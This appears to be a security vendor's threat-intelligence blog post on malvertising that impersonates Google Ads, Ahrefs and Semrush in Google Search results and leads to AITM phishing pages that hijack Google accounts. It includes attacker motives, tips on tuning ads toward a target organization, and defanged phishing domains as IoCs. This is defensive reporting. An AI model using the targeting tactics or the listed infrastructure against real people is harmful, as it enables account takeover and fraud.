Malvertising

Arguably the most dangerous use of a compromised ad manager account is to conduct malvertising – inserting malicious ads or redirects in place of legitimate advertisements. 

Malvertising scams happen across lots of different sites, but the most common platform we see targeted is Google Search. This takes advantage of users browsing to find a website and clicking the first link that appears — in this case a fake sponsored link taking you to the attacker’s page. 

The goal here is usually to compromise more devices and accounts, via:

• AITM phishing sites looking to hijack sessions on valuable accounts — usually enterprise SSO accounts such as Google or Microsoft, but also many high-value SaaS services, as well as logins for banking and cryptocurrency sites.. 

• Deploying infostealer malware, harvesting credentials and user sessions from the compromised device to enable broad access to apps via compromised accounts. 

• Running ClickFix-style social engineering scams prompting users to perform a malicious action (typically running code on their device, although a new browser-native version of this attack in the form of ConsentFix was recently discovered by Push researchers).

• Infecting machines with malicious software to siphon compute power for cryptomining or adding the device to a botnet used in DDOS attacks. 

Harvested data can be used by the attacker directly to conduct cyber attacks, but is more commonly sold on to other criminals further up the supply chain. So, attackers are using compromised ad accounts, to take over more accounts used to manage ads, to take over even more accounts… You can see how this can quickly snowball into something hugely profitable for attackers. 

Malvertising scams don’t just target ad manager accounts either. They can be found targeting all manner of sites. But all malvertising scams are underpinned by ad spending — so it makes sense that attackers are looking to harvest account access and make use of the pre-allocated marketing spend of their victims. 

Large enterprises spend vast amounts on Google Ads, often starting at $20,000+ per month, with major brands sometimes spending $40 to $50 million annually, depending heavily on their competitive industry. So, there’s a lot to play with for an attacker — and it might be some time before a discrepancy is noticed by the victim. 

Ad fraud

One of the most common motives for hacking ad accounts is ad fraud – generating fake ad impressions or clicks to illicitly collect advertising revenue. By hijacking a Google Ad Manager account, criminals can direct the account’s ad spend to their own fraudulent web pages.

When a Google Ads/Ad Manager account is compromised, attackers can create new campaigns or modify existing ones. By directing traffic to websites the criminals control (often low quality sites made specifically for advertising) the victim’s ad budget can be funnelled into the attackers’ pockets as ad revenue.

The hijacked ad accounts provide a means to introduce fraudulent traffic into legitimate ad ecosystems, often escaping immediate detection thanks to the account’s established trust or high spending thresholds. For example, a compromised account with a large budget can run thousands of ads pointing to fraudulent sites before being flagged. 

This is often abused as a channel for money laundering. An attacker can inject dirty money into the ad ecosystem (for example, using a compromised advertiser account’s billing) and then receive clean money out the other end (as payments to a publisher or ad partner account they control). 

In late 2025, agencies noticed a surge of Google Ads account takeovers where hackers ran unauthorized campaigns until budgets were exhausted. Google’s Threat Analysis Group found a cluster of Vietnamese actors who hijacked marketing accounts to “either sell ads to other actors, or sell the accounts themselves” for profit. 

Similarly, a series of attacks on companies managing ads reported that their accounts had been hacked as early as January 2025. These attacks were linked to South American scam operations by MalwareBytes — likely the same group behind the attacks we recently identified. 

Selling or sharing access with other criminal groups

Stolen advertising accounts themselves have become a commodity in the underground economy. Instead of (or in addition to) exploiting the account personally, a hacker might sell access to the compromised Ad Manager account on criminal forums. 

There is strong demand for reputable ad accounts because they come with advantages: high spending limits, established credit card billing, a history of compliance (making them less likely to be flagged by Google’s fraud detection), and existing relationships with ad networks or clients. In other words, a hijacked account is a ready-made vehicle for anyone looking to run malicious ad campaigns without going through the usual vetting.

Access to a Google Ads account (especially one with a good track record or high credit threshold) can fetch a significant price in criminal markets. Compromised Google ad accounts have shown up for sale on hacker forums and darknet markets, often advertised with details like the account’s age, billing history, or spend limit. For example, a hacker on one forum might sell or rent a “2-year-old Google Ads account with $50k monthly spend history” for a price commensurate with its potential yield.

The previously mentioned Vietnamese threat group would “either sell ads to other actors, or sell the accounts themselves to other actors to monetize”. This means an attacker could use a compromised account as a platform to sell fraudulent ad placements (e.g. “pay us and we’ll run your ads via this legitimate account for X days”). If not, they just sell the whole account login to the highest bidder.

It’s also worth noting that a Google Ad Manager account is also an enterprise SSO account that can be used to access broader Google Workspace services, and any SaaS apps accessible via SSO. 

Even if the victim isn’t predominantly a Google shop, a Google account using the same email as a different identity provider account (e.g. Microsoft) can still be used to access downstream apps via SSO. This is because most apps use the email itself as the identifier, while 3 in 5 allow you to access an account using a new login method without doing any further verification checks. Read our blog post on cross-IdP impersonation for more information. 

Data theft and extortion

Most ad accounts contain valuable data – like audience lists, conversion data, or payment info. Attackers could exfiltrate this data and extort the victim by threatening to leak it or sell it (though this borders on a data breach scenario, it’s another way to extort via an ad account hack, especially for large advertising agencies handling many clients’ data).

An attacker might also threaten to manipulate the account in ways that hurt the victim financially. For instance, they could create fake campaigns that burn through the budget on useless traffic (driving up costs with nothing to show, or even causing overcharges). They could also threaten to click-bomb the victim’s ads (if it’s an advertiser account) so that Google’s systems detect invalid activity and suspend the account. 

For the victim, the cost of reputational damage or lost advertising time can far exceed the ransom demand, which is why some might contemplate paying. A large brand could lose consumer confidence or partner relationships if their ads serve malware for even a short time. Agencies managing several client ad accounts could face client complaints and legal liability if an attack spreads offensive ads via their accounts – such agencies have noted the “serious financial threats” and client dissatisfaction resulting from ad account breaches.

Conclusion

Pretty much every enterprise today advertises their services via Google ads — this makes attacks on these accounts a unanimous problem. Agencies managing numerous client accounts are put further at risk. For example, if an attacker can compromise an MCC account (used to manage several ad accounts) they get full access to the agency’s customer portfolio. 

Organisations need to be on guard against both attacks on accounts used to manage ads, and malvertising in general — which is an incredibly prevalent threat and one of the top delivery vectors for phishing attacks today. Malvertising attacks delivered over channels like Google Search are a great way to catch victims unawares while also evading typically email-based anti-phishing controls. 

There’s a tendency to see malvertising as a more random attack, but Google Ads can be tuned to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). If you know where your target organization is located, you can tailor the ad to that location. Even more precise ad targeting can be achieved on social media platforms. 

Because these attacks completely circumvent the traditional phishing detection surface (email) and often happen entirely over the internet (meaning no endpoint security controls can come into play) the only way to reliably detect and stop these attacks is to intercept them where they happen — in the user’s web browser. 

To learn more about how Push tackles browser-based threats, check out our latest product overview or book some time with one of our team for a live demo.

Most recently, we reported on:

• A campaign running fake malvertising ads for “Google Ads” in Google Search. 

• A campaign using sophisticated Calendly-themed phishing lures targeting marketing professionals.

Now, we’ve seen the Google Ads malvertising campaign expand to run additional ads impersonating Ahrefs, an AI marketing platform. Crucially, employees with access to Ahrefs are highly likely to also have access to Google Ads, meaning that attackers can reliably target Google accounts via Ahrefs. 

You can see a demo of the phishing chain below.

Update 24th February: We discovered additional activity relating to this campaign with more Ahrefs malvertising on Google Search, this time pointing to fake domains hosted on surge[.]sh. We also blocked Push customers from interacting with a similar ad impersonating Semrush, also hosted on surge[.]sh.

New IoCs have been added and you can see a video of this new attack below.

Attack breakdown

Users searching for “ahrefs” on Google Search were served with a fake ad impersonating Ahrefs, hosted on Squarespace, a legitimate website building and hosting platform. Previously, we’d seen this campaign use hosting sites Odoo and Kartra to similar effect. 

Upon clicking the link, the victim was taken to a clone of the real Ahrefs site. Crucially, you can see that the domain is not the official Ahrefs domain. 

Notably, the site’s language is set to Brazilian Portuguese in the HTML (lang="pt-BR"). Based on this, the campaign is likely linked to the same threat actors reported by MalwareBytes in January 2025. 

However, the site is not fully interactable beyond the front page. Clicking on any link takes the user to a Google sign-in page.

This is in fact an AITM phishing page that is designed to hijack the victim’s Google account. Entering credentials and completing the MFA check will result in the attacker stealing the app session and effectively taking over the account. The phishing kit used matches the previous malvertising detected impersonating Google Ads. 

Why are attackers targeting ad manager accounts?

Ad Manager accounts on platforms like Google, Facebook, and LinkedIn have become lucrative targets for cybercriminals. By compromising these accounts, attackers can exploit the digital advertising ecosystem in various ways for financial gain. 

The ad industry’s scale makes it attractive to fraud. Estimates suggest digital ad fraud cost advertisers tens of billions, potentially nearing $100 billion or more, with projections reaching $172 billion by 2028.

A hijacked Google Ad Manager account gives attackers access to significant ad spend and account data which can be monetized illicitly. The tactics range from stealthy ad fraud to overt abuse like malicious ads or extortion schemes.

Pretty much every enterprise today advertises their services via Google ads — this makes attacks on these accounts pretty much a unanimous problem. Agencies managing numerous client accounts are put further at risk. For example, if an attacker can compromise an MCC account (used to manage several ad accounts) they get full access to the customer portfolio. 

It’s also worth noting that a Google Ad Manager account is also an enterprise SSO account that can be used to access broader Google Workspace services and any connected apps that are SSO-enabled.

Even if the victim isn’t predominantly a Google house, a Google account using the same email as a different identity provider account (e.g. Microsoft) can still be used to access downstream apps via SSO. This is because most apps use email as an identifier, while 3 in 5 apps also allow you to access an account using a new login method without doing any further verification checks.

Read our blog post on cross-IdP impersonation for more information. 

Learn more about why attackers are targeting ad manager accounts in our blog post. 

Why malvertising? 

Malvertising scams happen across lots of different sites, but the most common platform we see targeted is Google Search. This takes advantage of users browsing to find a website and clicking the first link that appears — in this case a fake sponsored link taking you to the attacker’s page. 

Malvertising attacks delivered over channels like Google Search are a great way to catch victims unawares while also evading typically email-based anti-phishing controls. Malvertising is an increasingly popular attack vector for the delivery of AITM phishing, malware downloads, and ClickFix (4 in 5 ClickFix attacks intercepted by Push were delivered via Google Search). This isn’t just targeting ad manager accounts — last year, we reported on campaigns impersonating TradingView, Microsoft Office 365, and Onfido, to name a few. 

There’s a tendency to see malvertising as a more random attack, but Google Ads can be tuned to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). If you know where your target organization is located, you can tailor the ad to that location. Even more precise ad targeting can be achieved on social media platforms. 

Because these attacks completely circumvent the traditional phishing detection surface (email) and often happen entirely over the internet (meaning no endpoint security controls can come into play) the only way to reliably detect and stop these attacks is to intercept them where they happen — in the user’s web browser. 

How Push stopped the attack

Regardless of the delivery channel, all roads lead to a web page accessed in the victim’s browser, where Push is waiting to detect and block the attack. Even if the page has never been previously flagged as suspicious or malicious, Push analyses the page in real time and blocks it — protecting against the latest zero-day threats.  

By seeing what your users see, and getting an unfiltered, real-time view of the page as it loads, Push is able to pinpoint malicious content, code, and behaviors and shut the attack down before it happens. Whether it's entering credentials onto a phishing page, approving a malicious OAuth grant, installing a risky browser extension, or insecurely accessing an app with a weak password and no MFA, Push detects the action and shuts it down.

Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, malicious OAuth grants, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.

To learn more about Push, check out our latest product overview or book some time with one of our team for a live demo.

IoCs

Short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to quickly spin up and rotate the sites used in the attack chain, often dynamically serving different URLs to site visitors. 

That said, the domains observed in this chain were:

• comandd-ok[.]com

• ahrefs-ac.squarespace[.]com

• ahrefs-seo-app.squarespace[.]com

• slgn-ahrefs-app-com.squarespace[.]com

[Update 24th February] We also observed the following new domains:

• www-ahrefs-seo-ads[.]surge.sh

• web-semrush-seo-wold[.]surge[.]sh

• contabelforeehc[.]com

• contabelfore[.]com

In addition, the following domains were previously associated with the attacks we detected in December:

• ads-adsword1.odoo[.]com

• sing-operador2[.]click/accounts/v3/login

• adsgooglie.odoo[.]com/

• word4only[.]online/

• adsloginacess.kartra[.]com/page/oeN7

• ads-o.odoo[.]com

• operador8-ads[.]lat/accounts/v3/login/

Push customers do not need to take any further action.